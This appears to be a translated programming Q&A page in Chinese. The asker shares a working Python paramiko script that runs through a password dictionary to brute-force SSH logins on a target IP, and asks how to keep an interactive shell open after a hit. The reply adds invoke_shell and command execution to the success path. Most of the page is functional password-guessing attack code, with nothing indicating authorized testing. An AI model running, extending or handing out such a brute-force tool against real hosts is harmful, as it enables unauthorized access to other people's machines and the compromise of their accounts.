我写了这个python脚本,它通过密码字典并尝试在给定的IP地址上进行SSH登录。该脚本工作正常,因为它正确地提供了密码。但问题是我无法保留远程计算机的SSH shell。我在response == 0
部分之前执行sys.exit(0)
检查后尝试插入一些代码,甚至删除了sys.exit(0)
;但到目前为止他们都没有工作过。我试图弄乱subprocess
& Popen
但仍然没有成功。我想要的只是我的程序不退出,而是在遇到正确的密码时提供SSH shell。
#!/bin/env/ python3
import paramiko, os, sys, socket
from subprocess import Popen, PIPE
global username, pass_file, target_ip
try:
username = input ("Please enter the username at the target machine> ")
path = input ("Please enter the path & name of the file containing the passwords> ")
if os.path.exists(path) == False:
print ("The password file does not exist!")
sys.exit(1)
target_ip = input ("Please enter the IP address of the target> ")
try:
socket.inet_aton(target_ip)
except socket.error as e:
print (e)
sys.exit(2)
except KeyboardInterrupt:
print ("\nUser has interrupted the execution!\n")
def ssh_connect(password, ret_code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target_ip, port=22, username=username,password=password)
except paramiko.AuthenticationException:
print ("Failed to authenticate! Password: %s" % (password))
ret_code = 3
except socket.error as e:
ret_code = 4
ssh.close()
return ret_code
pass_file = open(path, 'r', encoding="ISO-8859-1")
for i in pass_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print ("Login successful! Password is: %s" % (password))
# insert function call here
sys.exit(0)
elif response == 1:
print ("Login failed! Incorrect password: %s " % (password))
elif response == 2:
print ("Connection to the target failed!")
sys.exit(5)
except Exception as e:
print (e)
pass
pass_file.close()
答案 0 :(得分:0)
也许您想要的是输入一些要由ssh终端执行的文本?
或者您也可以使用invoke_shell
def ssh_connect(password, ret_code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target_ip, port=22, username=username,password=password)
cmd = input("type something") # will wait user input
# ssh.exec_command(cmd) # will execute what the user entered
# or
ssh.invoke_shell() # will open an interactive shell
except paramiko.AuthenticationException:
print ("Failed to authenticate! Password: %s" % (password))
ret_code = 3
except socket.error as e:
ret_code = 4
ssh.close() # maybe don't close it if you want to keep the shell open
return ret_code